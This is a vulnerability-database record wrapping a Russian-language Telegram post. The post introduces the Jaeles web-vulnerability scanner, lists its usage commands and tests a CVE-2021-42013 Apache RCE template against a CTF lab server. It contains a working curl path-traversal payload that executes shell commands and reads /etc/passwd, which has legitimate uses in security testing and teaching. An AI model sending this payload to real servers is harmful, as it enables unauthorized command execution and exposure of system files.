{"uuid": "de656aa3-90e2-412d-9e1f-2bc328b97936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2021-42013", "type": "published-proof-of-concept", "source": "https://t.me/codeby_sec/8519", "content": "\u2699\ufe0f Jaeles v0.17.1\n\n\u041c\u043e\u0449\u043d\u044b\u0439, \u0433\u0438\u0431\u043a\u0438\u0439 \u0438 \u043b\u0435\u0433\u043a\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u043c\u044b\u0439 framework, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \ud83d\uddbc\ufe0f Go \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0435\u0440\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 .yaml \u0448\u0430\u0431\u043b\u043e\u043d\u0430\u043c\u0438 \u0438 \u0447\u0435\u043c \u0442\u043e \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 nuclei.\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430:\n\ngo install github.com/jaeles-project/jaeles@latest\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440:\n\njaeles config init\n\n\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430:\n\n# Scan Usage example:\njaeles scan -s  -u \njaeles scan -c 50 -s  -U  -L \njaeles scan -c 50 -s  -U \njaeles scan -c 50 -s  -U  -p 'dest=xxx.burpcollaborator.net'\njaeles scan -c 50 -s  -U  -f 'noti_slack \"{{.vulnInfo}}\"'\njaeles scan -v -c 50 -s  -U list_target.txt -o /tmp/output\njaeles scan -s  -s  -u http://example.com\njaeles scan -G -s  -s  -x  -u http://example.com\n\ncat list_target.txt | jaeles scan -c 100 -s \n\n\n# Examples:\njaeles scan -s 'jira' -s 'ruby' -u target.com\njaeles scan -c 50 -s 'java' -x 'tomcat' -U list_of_urls.txt\njaeles scan -G -c 50 -s '/tmp/custom-signature/.*' -U list_of_urls.txt\njaeles scan -v -s '~/my-signatures/products/wordpress/.*' -u 'https://wp.example.com' -p 'root=[[.URL]]'\n\ncat urls.txt | grep 'interesting' | jaeles scan -L 5 -c 50 -s 'fuzz/.*' -U list_of_urls.txt --proxy http://127.0.0.1:8080\n\njaeles server -s '/tmp/custom-signature/sensitive/.*' -L 2 --fi\n\n\u041d\u0430\u043f\u0438\u0441\u0430\u043b \u0448\u0430\u0431\u043b\u043e\u043d \u043f\u043e\u0434 RCE \u0434\u043b\u044f \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Apache 2.4.49-50\n\u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u043d\u0430 codeby.games \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. \u041d\u0430 \u043d\u0435\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c.\n\n\u0417\u0430\u043f\u0440\u043e\u0441 curl'\u043e\u043c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:\n\ncurl 'http://62.173.140.174:10009/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' --data 'echo Content-Type: text/plain; echo; id && cat /etc/passwd'\n\n\u0417\u0430\u043f\u0443\u0441\u043a:\n\n./jaeles scan -s '~/.jaeles/base-signatures/cves/apache-rce-cve-2021-42013*' -u 'http://62.173.140.174:10009' -v\n\n\u041a\u043b\u0430\u0434\u0435\u043c \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043a\u043e\u043d\u0444\u0438\u0433:\n\n./jaeles config init", "creation_timestamp": "2024-11-23T12:10:45.000000Z"}